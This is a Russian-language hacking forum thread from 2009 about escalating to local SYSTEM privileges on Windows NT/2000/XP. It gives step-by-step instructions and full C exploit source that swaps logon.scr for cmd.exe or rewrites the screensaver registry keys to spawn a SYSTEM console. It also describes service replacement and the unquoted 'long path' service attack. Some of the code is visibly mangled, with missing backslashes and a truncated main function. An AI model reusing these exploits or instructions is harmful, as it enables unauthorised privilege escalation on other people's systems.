|
|
|
DOS & Black
Суббота, 23.11.2024, 11:07 Приветствую Вас DOS
Атака на - Форум
Атака на
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:51 | Сообщение # 1 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| Сервис это программа написанная особым образом, чаще всего имеющая привилегии local SYSTEM. Сервисы используются как системные службы, например для ведения логов, работы web-сервера и т.д. Как же система различает сервис это или обычная программа? Система просматривает реестр, где зарегистрированы все сервисы. Данная база доступна для просмотра в Microsoft Management Console (mmc.exe), но только для пользователей с правами администратора. Так же этот список всех сервисов можно просмотреть в реестре по ключу: HKEY_LOCAL_MACHINESYSTEM CurrentControlSetServices Атака подменой сервиса Основной смысл атаки на сервисы заключается в их подмене. К примеру: есть сервис logon.scr, который представляет собой "Logon Screen Saver" - системный хранитель экрана. Смысл атаки на данный сервис заключается в подмене этого файла на cmd.exe. Как вы понимаете, cmd.exe - программа запускающая консоль в системах Windows NT/2000/XP. Поэтому вместо сервиса будет запущена консоль с правами local SYSTEM. Алгоритм реализации данной атаки заключается в следующем: Запустите cmd.exe и перейдите в папку WindowsSystem32 Скопируйте файл cmd.exe на место logon.scr Завершите сеанс и подождите минут 10-15.
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:52 | Сообщение # 2 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| После этого будет запущена консоль с правами local SYSTEM. Рассмотрим простую реализацию атаки на logon.scr: //---------------------------------- /* * Windows NT/2000/XP + FAT local SYSTEM exploit N1 ( example ) * * Run: ploit2 -a * * This is logon.scr service attack exploit * * Work even on GUEST account * * ... Dis is CHEAT OF MIND ... * * Author: cbin * Webpage: paguoman.h1.ru #include #include void attack() // Функция подмены logon.scr { char new_val[]="system32logon.scr"; char windir[150]; char windir2[150]; // Переменные char windir3[150]; GetWindowsDirectoryA(windir,100); // Узнаём имя директории Windows lstrcpyA(windir2,windir); // Подготавливаем полные пути для lstrcpyA(windir3,windir); // хранения имён lstrcatA(windir,new_val); // В windir будет полный путь к logon.scr lstrcatA(windir2,"system32logon32.bak"); // В windir2 backup logon.scr lstrcatA(windir3,"system32cmd.exe"); // В windir3 полный путь к cmd.exe CopyFileA(windir,windir2,1); // Копируем logon.scr в logon32.bak CopyFileA(windir3,windir,0); // Копируем cmd.exe в logon.scr printf("[ Attack was g00d ] "); // Выводим сообщение что всё хорошо printf("[ Please wait 10-15 minutes in l0g0n screen ] "); printf("[ And SYSTEM console was dropped ] "); printf("[ Press any key ..... ] "); getchar(); // Ждём нажатия клавиши ExitWindowsEx(EWX_LOGOFF,0); // Завершаем сеанс } void restore() // Функция восстановления logon.scr { char new_val[]="system32logon.scr"; char windir[150]; // Переменные char windir2[150]; GetWindowsDirectoryA(windir,100); // Получаем полное имя Windows директории lstrcpyA(windir2,windir); // Копируем это имя в windir2 lstrcatA(windir,new_val); // Добавляем имя logon.scr lstrcatA(windir2,"system32logon32.bak");// Копируем logon32.bak в windir2 CopyFileA(windir2,windir,0); // Копируем logon32.bak в logon.scr printf("[ n0w system is rest0red ] "); // Выводим сообщение } void main(int argc, char *argv[]) { printf("[ Logon Attack by cbin for Windows NT/2000/XP + FAT ] "); if (argc #include //---------------------------------- void attack() // Функция редактирования реестра с целью подмены ключа // HKEY_USERS.DEFAULTControl PanelDesktopSCRNSAVE.EXE { char subkey[]=".DEFAULTControl PanelDesktop"; char valname[]="SCRNSAVE.EXE"; // Переменные char new_val[]="cmd.exe"; char valname2[]="ScreenSaveTimeOut"; char new_val2[]="1"; HKEY key1; RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1); // Открываем ключ // реестра RegSetValueEx(key1,valname,0,REG_SZ,new_val,sizeof(new_val)); // Изменяем значение SCRNSAVE.EXE c logon.scr на cmd.exe RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2)); // Изменяем значение ScreenSaveTimeOut с 600 секунд на 1 RegCloseKey(key1); // Закрываем ключ реестра printf("Now system is logging off ... and SYSTEM console "); printf("Must be spawned "); // Выводим сообщения ExitWindowsEx(EWX_LOGOFF,0); // Завершаем сеанс }
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:52 | Сообщение # 3 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| //---------------------------------- void restore() // Функция восстановления реестра в дефолтовое состояние { char subkey[]=".DEFAULTControl PanelDesktop"; char valname[]="SCRNSAVE.EXE"; char new_val[]="system32logon.scr"; // Переменные char valname2[]="ScreenSaveTimeOut"; char new_val2[]="600"; char windir[140]; HKEY key1; GetWindowsDirectoryA(windir,100); // Получаем в windir полное имя Windows lstrcatA(windir,new_val); // Добавляем к нему system32logon.scr RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1); // Открываем необходимый нам ключ реестра RegSetValueEx(key1,valname,0,REG_SZ,windir,sizeof(windir)); RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2)); // Восстанавливаем дефолтовые значения в реестре RegCloseKey(key1); // Закрываем ключ реестра printf("Register was restored successfully"); // Выводим сообщение } //---------------------------------- void main(int argc, char *argv[]) { printf("[ Logon Attack by cbin for Windows NT/2000/XP + FAT ] "); if (argc<2) // Если программа запущена без параметров то выводим сообщения // И завершаем работу программы { printf("Usage: %s [-a] ",argv[0]); printf("-a Get local SYSTEM permissions "); printf("-r Restore register in default statement attack "); exit(0); } if(strcmp(argv[1],"-a")==0) // Чего хочет пользователь, атаковать ? attack(); // Значит будем атаковать if(strcmp(argv[1],"-r")==0) // Восстанавливать ? restore(); // Значит будем восстанавливать } //----------------------------------
:)
|
|
| |
DOS | Дата: Воскресенье, 14.06.2009, 17:52 | Сообщение # 4 |
Генералиссимус
Группа: Администратор
Сообщений: 709
Статус: Offline
| В Windows NT/2000/XP существует множество различных сервисов. Но данная атака не сработает на других сервисах. Причина заключается в том, что logon.scr представляет собой обыкновенную программу, а не сервис в полном понимании этого слова. Большинство запущенных сервисов активно постоянно и у пользователя с низкими привилегиями нет возможности остановить эти системные сервисы. А если сервис запущен, то с самим исполнимым файлом этого сервиса сделать ничего нельзя. Я думаю, что может быть возможна ситуация, когда каким либо способом (например DoS атакой) завершается работа сервиса. После этого исполнимый файл сервиса подменяется сервисом написанным атакующим который будет к примеру запускать консоль. После этого система перезагружается. Во время загрузки системы при запуске сервиса будет запущен подменённый сервис, который запустит консоль с правами системы. Если существует возможность записи в реестр по ключу HKEY_LOCAL_MACHINESYSTEM CurrentControlSetServices, тогда существует возможность написать и зарегистрировать свой сервис, который предоставит возможность получения прав local SYSTEM. Но опять же, зарегистрировать свой сервис могут только администраторы. Остальные пользователи могут только просмотреть список всех сервисов. Так же существует программа, которая запускает любую программу, как сервис. Но для этого ей необходима возможность записи в системный реестр. Это программа называется FireDaemon, она доступна как в консольном варианте, так и с GUI интерфейсом. Так же был написан эксплоит осуществляющий поиск и подмену сервисов доступных обычному пользователю он называется He4GetAdmin. Данный эксплоит не функционален на Windows XP, из-за того что сервисы после подмены восстанавливаются. Атака "длинного пути"(long path attack) Смысл данной атаки заключается в использовании параметра исполняемого файла который передаёт полный путь. Данный параметр позже используется функцией CreateProcessAsUser для создания процесса службы. Если же в пути к исполнимому файлу присутствуют пробелы, то функция CreateProcessAsUser начинает пытаться определить имя исполнимого файла. И определяет она имя файла с некоторыми ошибками. Например: параметр установлен в значение: C:FAR AWAYservice.exe. Если существует файл в корне с именем FAR.exe, то будет запущен именно он. Смысл атаки заключается в поиске сервисов с аналогичными параметрами и создании файла, в нашем случае FAR.exe. Простейшим вариантом является копирование cmd.exe в C:FAR.exe. После этого необходимо перезагрузить компьютер, при следующем запуске сервиса будет запущена консоль с правами local SYSTEM. Представьте на секунду, что имя директории Windows другое, например SUPER Windows. Ясно, что это вам даёт? Ведь большинство системных сервисов находится именно в этой директории. Сложности в реализации атаки: Необходимо остановиться на том, что не все сервисы запускаются с параметром Interact with desktop. Поэтому после данной атаки консоли с правами системы вы просто не увидите хоть она и будет запущена. Не все сервисы запускаются с правами local SYSTEM, хотя и большинство. На этом мы закончим анализ основных методов атак на сервисы в операционных системах Windows NT/2000/XP.
:)
|
|
| |
|
|